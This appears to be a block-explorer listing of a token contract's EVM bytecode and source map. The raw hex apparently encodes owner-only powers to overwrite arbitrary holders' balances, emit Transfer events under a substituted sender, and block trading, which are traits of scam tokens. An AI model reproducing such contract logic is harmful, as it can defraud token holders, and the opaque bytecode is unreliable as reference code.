565b925050600181019050611cfc565b5085935050505092915050565b5f60a082019050611d495f8301886115f5565b611d566020830187611c70565b8181036040830152611d688186611cda565b9050611d77606083018561166d565b611d8460808301846115f5565b9695505050505050565b5f611d9882611551565b9150611da383611551565b9250828201905080821115611dbb57611dba61192d565b5b9291505056fea26469706673582212203900ad94af8970c001d4fa0c26b3a272789dcd0a78cb02307c85245c660534d864736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100f6575f3560e01c80636e669d7a11610089578063a8aa1b3111610058578063a8aa1b3114610329578063a9059cbb14610353578063b3ac85371461038f578063dd62ed3e146103a5576100fd565b80636e669d7a1461027357806370a082311461029b5780638187f516146102d757806395d89b41146102ff576100fd565b8063313ce567116100c5578063313ce567146101cd5780634abe3052146101f7578063554652ce14610223578063667f65261461024b576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103e1565b60405161012291906114cf565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c9190611584565b610470565b60405161015e91906115dc565b60405180910390f35b348015610172575f80fd5b5061017b61055d565b6040516101889190611604565b60405180910390f35b34801561019c575f80fd5b506101b760048036038101906101b2919061161d565b61057c565b6040516101c491906115dc565b60405180910390f35b3480156101d8575f80fd5b506101e161061f565b6040516101ee9190611604565b60405180910390f35b348015610202575f80fd5b5061020b610624565b60405161021a9392919061167c565b60405180910390f35b34801561022e575f80fd5b5061024960048036038101906102449190611767565b61065a565b005b348015610256575f80fd5b50610271600480360381019061026c91906117e5565b6108bc565b005b34801561027e575f80fd5b5061029960048036038101906102949190611823565b610936565b005b3480156102a6575f80fd5b506102c160048036038101906102bc919061184e565b6109dc565b6040516102ce9190611604565b60405180910390f35b3480156102e2575f80fd5b506102fd60048036038101906102f8919061184e565b6109f1565b005b34801561030a575f80fd5b50610313610aa0565b60405161032091906114cf565b60405180910390f35b348015610334575f80fd5b5061033d610b30565b60405161034a9190611879565b60405180910390f35b34801561035e575f80fd5b5061037960048036038101906103749190611584565b610b55565b60405161038691906115dc565b60405180910390f35b34801561039a575f80fd5b506103a3610b69565b005b3480156103b0575f80fd5b506103cb60048036038101906103c69190611892565b610bdd565b6040516103d89190611604565b60405180910390f35b60605f80546103ef906118fd565b80601f016020809104026020016040519081016040528092919081815260200182805461041b906118fd565b80156104665780601f1061043d57610100808354040283529160200191610466565b820191905f5260205f20905b81548152906001019060200180831161044957829003601f168201915b5050505050905090565b5f8160065f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161054b9190611604565b60405180910390a36001905092915050565b6012600a61056b9190611a89565b620f42406105799190611ad3565b81565b5f8160065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106049190611b14565b92505081905550610616848484610bfd565b90509392505050565b601281565b6002805f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154905083565b61066261141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146106c6576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f5b848490508110156108b5578282828181106106e6576106e5611b47565b5b9050602002013560055f87878581811061070357610702611b47565b5b9050602002016020810190610718919061184e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555082828281811061076857610767611b47565b5b9050602002013560055f600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107db9190611b14565b925050819055508484828181106107f5576107f4611b47565b5b905060200201602081019061080a919061184e565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85858581811061088c5761088b611b47565b5b905060200201356040516108a09190611604565b60405180910390a380806001019150506106c8565b5050505050565b6108c461141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610928576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6109328282611448565b5050565b61093e61141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a2576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b7f19755d25ea178146bd0c80065bb3baa90da55af45e342cf3c07de168a277da02816040516109d19190611604565b60405180910390a150565b6005602052805f5260405f205f915090505481565b6109f961141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f9af2b10000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060018054610aaf906118fd565b80601f0160208091040260200160405190810160405280929190818152602001828054610adb906118fd565b8015610b265780601f10610afd57610100808354040283529160200191610b26565b820191905f5260205f20905b815481529060010190602001808311610b0957829003601f168201915b5050505050905090565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f610b61338484610bfd565b905092915050565b610b7161141e565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ba7575f80fd5b600860159054906101000a900460ff1615610bc0575f80fd5b6001600860156101000a81548160ff021916908315150217905550565b6006602052815f5260405f20602052805f5260405f205f91509150505481565b5f80610c0761141e565b9050600860159054906101000a900460ff1680610c4f57508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610c8557508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b610c8d575f80fd5b8260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610cd99190611b14565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610d495750600860149054906101000a900460ff16155b8015610db9575060646012600a610d609190611a89565b620f4240610d6e9190611ad3565b610d789190611ba1565b60055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b8015610df157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561105a576001600860146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115610e2d57610e2c611bd1565b5b604051908082528060200260200182016040528015610e5b5781602001602082028036833780820191505090505b50905030815f81518110610e7257610e71611b47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f3a9190611c12565b81600181518110610f4e57610f4d611b47565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eb6f613960646012600a610fd59190611a89565b620f4240610fe39190611ad3565b610fed9190611ba1565b5f8430426040518663ffffffff1660e01b8152600401611011959493929190611d36565b5f604051808303815f87803b158015611028575f80fd5b505af115801561103a573d5f803e3d5ffd5b505050505f600860146101000a81548160ff021916908315150217905550505b5f806002600101546002800154915091503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141580156110ba575060011515600860159054906101000a900460ff161515145b15611198575f606460075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff161461111c578361111e565b825b876111299190611ad3565b6111339190611ba1565b905080866111419190611b14565b95508060055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461118f9190611d8e565b92505081905550505b8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546111e49190611d8e565b92505081905550600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036112ca578573ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516112bd9190611604565b60405180910390a3611410565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036113a95760095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161139c9190611604565b60405180910390a361140f565b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516114069190611604565b60405180910390a35b5b600193505050509392505050565b5f60025f015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b816002600101819055508060028001819055505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6114a18261145f565b6114ab8185611469565b93506114bb818560208601611479565b6114c481611487565b840191505092915050565b5f6020820190508181035f8301526114e78184611497565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611520826114f7565b9050919050565b61153081611516565b811461153a575f80fd5b50565b5f8135905061154b81611527565b92915050565b5f819050919050565b61156381611551565b811461156d575f80fd5b50565b5f8135905061157e8161155a565b92915050565b5f806040838503121561159a576115996114ef565b5b5f6115a78582860161153d565b92505060206115b885828601611570565b9150509250929050565b5f8115159050919050565b6115d6816115c2565b82525050565b5f6020820190506115ef5f8301846115cd565b92915050565b6115fe81611551565b82525050565b5f6020820190506116175f8301846115f5565b92915050565b5f805f60608486031215611634576116336114ef565b5b5f6116418682870161153d565b93505060206116528682870161153d565b925050604061166386828701611570565b9150509250925092565b61167681611516565b82525050565b5f60608201905061168f5f83018661166d565b61169c60208301856115f5565b6116a960408301846115f5565b949350505050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126116d2576116d16116b1565b5b8235905067ffffffffffffffff8111156116ef576116ee6116b5565b5b60208301915083602082028301111561170b5761170a6116b9565b5b9250929050565b5f8083601f840112611727576117266116b1565b5b8235905067ffffffffffffffff811115611744576117436116b5565b5b6020830191508360208202830111156117605761175f6116b9565b5b9250929050565b5f805f806040858703121561177f5761177e6114ef565b5b5f85013567ffffffffffffffff81111561179c5761179b6114f3565b5b6117a8878288016116bd565b9450945050602085013567ffffffffffffffff8111156117cb576117ca6114f3565b5b6117d787828801611712565b925092505092959194509250565b5f80604083850312156117fb576117fa6114ef565b5b5f61180885828601611570565b925050602061181985828601611570565b9150509250929050565b5f60208284031215611838576118376114ef565b5b5f61184584828501611570565b91505092915050565b5f60208284031215611863576118626114ef565b5b5f6118708482850161153d565b91505092915050565b5f60208201905061188c5f83018461166d565b92915050565b5f80604083850312156118a8576118a76114ef565b5b5f6118b58582860161153d565b92505060206118c68582860161153d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061191457607f821691505b602082108103611927576119266118d0565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156119af5780860481111561198b5761198a61192d565b5b600185161561199a5780820291505b80810290506119a88561195a565b945061196f565b94509492505050565b5f826119c75760019050611a82565b816119d4575f9050611a82565b81600181146119ea57600281146119f457611a23565b6001915050611a82565b60ff841115611a0657611a0561192d565b5b8360020a915084821115611a1d57611a1c61192d565b5b50611a82565b5060208310610133831016604e8410600b8410161715611a585782820a905083811115611a5357611a5261192d565b5b611a82565b611a658484846001611966565b92509050818404811115611a7c57611a7b61192d565b5b81810290505b9392505050565b5f611a9382611551565b9150611a9e83611551565b9250611acb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846119b8565b905092915050565b5f611add82611551565b9150611ae883611551565b9250828202611af681611551565b91508282048414831517611b0d57611b0c61192d565b5b5092915050565b5f611b1e82611551565b9150611b2983611551565b9250828203905081811115611b4157611b4061192d565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bab82611551565b9150611bb683611551565b925082611bc657611bc5611b74565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050611c0c81611527565b92915050565b5f60208284031215611c2757611c266114ef565b5b5f611c3484828501611bfe565b91505092915050565b5f819050919050565b5f819050919050565b5f611c69611c64611c5f84611c3d565b611c46565b611551565b9050919050565b611c7981611c4f565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611cb181611516565b82525050565b5f611cc28383611ca8565b60208301905092915050565b5f602082019050919050565b5f611ce482611c7f565b611cee8185611c89565b9350611cf983611c99565b805f5b83811015611d29578151611d108882611cb7565b9750611d1b83611cce565b925050600181019050611cfc565b5085935050505092915050565b5f60a082019050611d495f8301886115f5565b611d566020830187611c70565b8181036040830152611d688186611cda565b9050611d77606083018561166d565b611d8460808301846115f5565b9695505050505050565b5f611d9882611551565b9150611da383611551565b9250828201905080821115611dbb57611dba61192d565b5b9291505056fea26469706673582212203900ad94af8970c001d4fa0c26b3a272789dcd0a78cb02307c85245c660534d864736f6c63430008190033

Deployed Bytecode Sourcemap

114:6120:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4239:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3887:207;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;266:64;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3656:223;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;222:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;339:26;;;;;;;;;;;;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;2763:432;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2223:190;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2421:174;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;656:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2603:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4338:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;780:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4102:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3482:166;;;;;;;;;;;;;:::i;:::-;;707:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4239:91;4284:13;4317:5;4310:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4239:91;:::o;3887:207::-;3955:4;4005:6;3972:9;:21;3982:10;3972:21;;;;;;;;;;;;;;;:30;3994:7;3972:30;;;;;;;;;;;;;;;:39;;;;4048:7;4027:37;;4036:10;4027:37;;;4057:6;4027:37;;;;;;:::i;:::-;;;;;;;;4082:4;4075:11;;3887:207;;;;:::o;266:64::-;257:2;316;:14;;;;:::i;:::-;304:9;:26;;;;:::i;:::-;266:64;:::o;3656:223::-;3772:4;3820:6;3789:9;:15;3799:4;3789:15;;;;;;;;;;;;;;;:27;3805:10;3789:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;3844:27;3854:4;3860:2;3864:6;3844:9;:27::i;:::-;3837:34;;3656:223;;;;;:::o;222:37::-;257:2;222:37;:::o;339:26::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;2763:432::-;2905:29;:27;:29::i;:::-;2891:43;;:10;:43;;;2887:69;;2943:13;;;;;;;;;;;;;;2887:69;2972:9;2967:221;2991:8;;:15;;2987:1;:19;2967:221;;;3053:7;;3061:1;3053:10;;;;;;;:::i;:::-;;;;;;;;3028:9;:22;3038:8;;3047:1;3038:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3028:22;;;;;;;;;;;;;;;:35;;;;3102:7;;3110:1;3102:10;;;;;;;:::i;:::-;;;;;;;;3078:9;:20;3088:9;;;;;;;;;;;3078:20;;;;;;;;;;;;;;;;:34;;;;;;;:::i;:::-;;;;;;;;3152:8;;3161:1;3152:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;3132:44;;3141:9;;;;;;;;;;;3132:44;;;3165:7;;3173:1;3165:10;;;;;;;:::i;:::-;;;;;;;;3132:44;;;;;;:::i;:::-;;;;;;;;3008:3;;;;;;;2967:221;;;;2763:432;;;;:::o;2223:190::-;2306:29;:27;:29::i;:::-;2292:43;;:10;:43;;;2288:69;;2344:13;;;;;;;;;;;;;;2288:69;2368:37;2393:4;2399:5;2368:24;:37::i;:::-;2223:190;;:::o;2421:174::-;2500:29;:27;:29::i;:::-;2486:43;;:10;:43;;;2482:69;;2538:13;;;;;;;;;;;;;;2482:69;2567:20;2580:6;2567:20;;;;;;:::i;:::-;;;;;;;;2421:174;:::o;656:44::-;;;;;;;;;;;;;;;;;:::o;2603:152::-;2673:29;:27;:29::i;:::-;2659:43;;:10;:43;;;2655:69;;2711:13;;;;;;;;;;;;;;2655:69;2742:5;2735:4;;:12;;;;;;;;;;;;;;;;;;2603:152;:::o;4338:95::-;4385:13;4418:7;4411:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4338:95;:::o;780:19::-;;;;;;;;;;;;;:::o;4102:129::-;4166:4;4190:33;4200:10;4212:2;4216:6;4190:9;:33::i;:::-;4183:40;;4102:129;;;;:::o;3482:166::-;3549:29;:27;:29::i;:::-;3535:43;;:10;:43;;;3527:52;;;;;;3599:11;;;;;;;;;;;3598:12;3590:21;;;;;;3636:4;3622:11;;:18;;;;;;;;;;;;;;;;;;3482:166::o;707:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4590:1641::-;4703:4;4720:16;4739:29;:27;:29::i;:::-;4720:48;;4787:11;;;;;;;;;;;:31;;;;4810:8;4802:16;;:4;:16;;;4787:31;:49;;;;4828:8;4822:14;;:2;:14;;;4787:49;4779:58;;;;;;4869:6;4850:9;:15;4860:4;4850:15;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;4912:4;;;;;;;;;;;4906:10;;:2;:10;;;:36;;;;;4934:8;;;;;;;;;;;4933:9;4906:36;:91;;;;;416:3;257:2;316;:14;;;;:::i;:::-;304:9;:26;;;;:::i;:::-;402:17;;;;:::i;:::-;4959:9;:24;4977:4;4959:24;;;;;;;;;;;;;;;;:38;;4906:91;:124;;;;;5022:8;5014:16;;:4;:16;;;;4906:124;4888:648;;;5068:4;5057:8;;:15;;;;;;;;;;;;;;;;;;5087:21;5125:1;5111:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5087:40;;5160:4;5142;5147:1;5142:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;5190:16;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5180:4;5185:1;5180:7;;;;;;;;:::i;:::-;;;;;;;:33;;;;;;;;;;;5228:16;;;;;;;;;;;:88;;;416:3;257:2;316;:14;;;;:::i;:::-;304:9;:26;;;;:::i;:::-;402:17;;;;:::i;:::-;5372:1;5396:4;5431;5459:15;5228:265;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5519:5;5508:8;;:16;;;;;;;;;;;;;;;;;;5042:494;4888:648;5549:15;5566:16;5587:9;:16;;;5605:9;:17;;;5548:75;;;;5654:4;5638:21;;:4;:21;;;;:44;;;;;5678:4;5663:19;;:11;;;;;;;;;;;:19;;;5638:44;5634:280;;;5699:27;5793:3;5763:4;;;;;;;;;;;5757:10;;:2;:10;;;:31;;5781:7;5757:31;;;5770:8;5757:31;5730:6;:59;;;;:::i;:::-;5729:67;;;;:::i;:::-;5699:97;;5821:19;5811:29;;;;;:::i;:::-;;;5883:19;5855:9;:24;5873:4;5855:24;;;;;;;;;;;;;;;;:47;;;;;;;:::i;:::-;;;;;;;;5684:230;5634:280;5941:6;5924:9;:13;5934:2;5924:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5972:9;;;;;;;;;;;5964:17;;:4;:17;;;5960:242;;6023:2;6003:31;;6012:9;;;;;;;;;;;6003:31;;;6027:6;6003:31;;;;;;:::i;:::-;;;;;;;;5960:242;;;6062:9;;;;;;;;;;;6056:15;;:2;:15;;;6052:150;;6108:9;;;;;;;;;;;6093:33;;6102:4;6093:33;;;6119:6;6093:33;;;;;;:::i;:::-;;;;;;;;6052:150;;;6179:2;6164:26;;6173:4;6164:26;;;6183:6;6164:26;;;;;;:::i;:::-;;;;;;;;6052:150;5960:242;6219:4;6212:11;;;;;4590:1641;;;;;:::o;3360:114::-;3421:7;3448:9;:18;;;;;;;;;;;;3441:25;;3360:114;:::o;3203:149::-;3304:4;3285:9;:16;;:23;;;;3339:5;3319:9;:17;;:25;;;;3203:149;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;;:::o;3123:210::-;3210:4;3248:2;3237:9;3233:18;3225:26;;3261:65;3323:1;3312:9;3308:17;3299:6;3261:65;:::i;:::-;3123:210;;;;:::o;3339:118::-;3426:24;3444:5;3426:24;:::i;:::-;3421:3;3414:37;3339:118;;:::o;3463:222::-;3556:4;3594:2;3583:9;3579:18;3571:26;;3607:71;3675:1;3664:9;3660:17;3651:6;3607:71;:::i;:::-;3463:222;;;;:::o;3691:619::-;3768:6;3776;3784;3833:2;3821:9;3812:7;3808:23;3804:32;3801:119;;;3839:79;;:::i;:::-;3801:119;3959:1;3984:53;4029:7;4020:6;4009:9;4005:22;3984:53;:::i;:::-;3974:63;;3930:117;4086:2;4112:53;4157:7;4148:6;4137:9;4133:22;4112:53;:::i;:::-;4102:63;;4057:118;4214:2;4240:53;4285:7;4276:6;4265:9;4261:22;4240:53;:::i;:::-;4230:63;;4185:118;3691:619;;;;;:::o;4316:118::-;4403:24;4421:5;4403:24;:::i;:::-;4398:3;4391:37;4316:118;;:::o;4440:442::-;4589:4;4627:2;4616:9;4612:18;4604:26;;4640:71;4708:1;4697:9;4693:17;4684:6;4640:71;:::i;:::-;4721:72;4789:2;4778:9;4774:18;4765:6;4721:72;:::i;:::-;4803;4871:2;4860:9;4856:18;4847:6;4803:72;:::i;:::-;4440:442;;;;;;:::o;4888:117::-;4997:1;4994;4987:12;5011:117;5120:1;5117;5110:12;5134:117;5243:1;5240;5233:12;5274:568;5347:8;5357:6;5407:3;5400:4;5392:6;5388:17;5384:27;5374:122;;5415:79;;:::i;:::-;5374:122;5528:6;5515:20;5505:30;;5558:18;5550:6;5547:30;5544:117;;;5580:79;;:::i;:::-;5544:117;5694:4;5686:6;5682:17;5670:29;;5748:3;5740:4;5732:6;5728:17;5718:8;5714:32;5711:41;5708:128;;;5755:79;;:::i;:::-;5708:128;5274:568;;;;;:::o;5865:::-;5938:8;5948:6;5998:3;5991:4;5983:6;5979:17;5975:27;5965:122;;6006:79;;:::i;:::-;5965:122;6119:6;6106:20;6096:30;;6149:18;6141:6;6138:30;6135:117;;;6171:79;;:::i;:::-;6135:117;6285:4;6277:6;6273:17;6261:29;;6339:3;6331:4;6323:6;6319:17;6309:8;6305:32;6302:41;6299:128;;;6346:79;;:::i;:::-;6299:128;5865:568;;;;;:::o;6439:934::-;6561:6;6569;6577;6585;6634:2;6622:9;6613:7;6609:23;6605:32;6602:119;;;6640:79;;:::i;:::-;6602:119;6788:1;6777:9;6773:17;6760:31;6818:18;6810:6;6807:30;6804:117;;;6840:79;;:::i;:::-;6804:117;6953:80;7025:7;7016:6;7005:9;7001:22;6953:80;:::i;:::-;6935:98;;;;6731:312;7110:2;7099:9;7095:18;7082:32;7141:18;7133:6;7130:30;7127:117;;;7163:79;;:::i;:::-;7127:117;7276:80;7348:7;7339:6;7328:9;7324:22;7276:80;:::i;:::-;7258:98;;;;7053:313;6439:934;;;;;;;:::o;7379:474::-;7447:6;7455;7504:2;7492:9;7483:7;7479:23;7475:32;7472:119;;;7510:79;;:::i;:::-;7472:119;7630:1;7655:53;7700:7;7691:6;7680:9;7676:22;7655:53;:::i;:::-;7645:63;;7601:117;7757:2;7783:53;7828:7;7819:6;7808:9;7804:22;7783:53;:::i;:::-;7773:63;;7728:118;7379:474;;;;;:::o;7859:329::-;7918:6;7967:2;7955:9;7946:7;7942:23;7938:32;7935:119;;;7973:79;;:::i;:::-;7935:119;8093:1;8118:53;8163:7;8154:6;8143:9;8139:22;8118:53;:::i;:::-;8108:63;;8064:117;7859:329;;;;:::o;8194:::-;8253:6;8302:2;8290:9;8281:7;8277:23;8273:32;8270:119;;;8308:79;;:::i;:::-;8270:119;8428:1;8453:53;8498:7;8489:6;8478:9;8474:22;8453:53;:::i;:::-;8443:63;;8399:117;8194:329;;;;:::o;8529:222::-;8622:4;8660:2;8649:9;8645:18;8637:26;;8673:71;8741:1;8730:9;8726:17;8717:6;8673:71;:::i;:::-;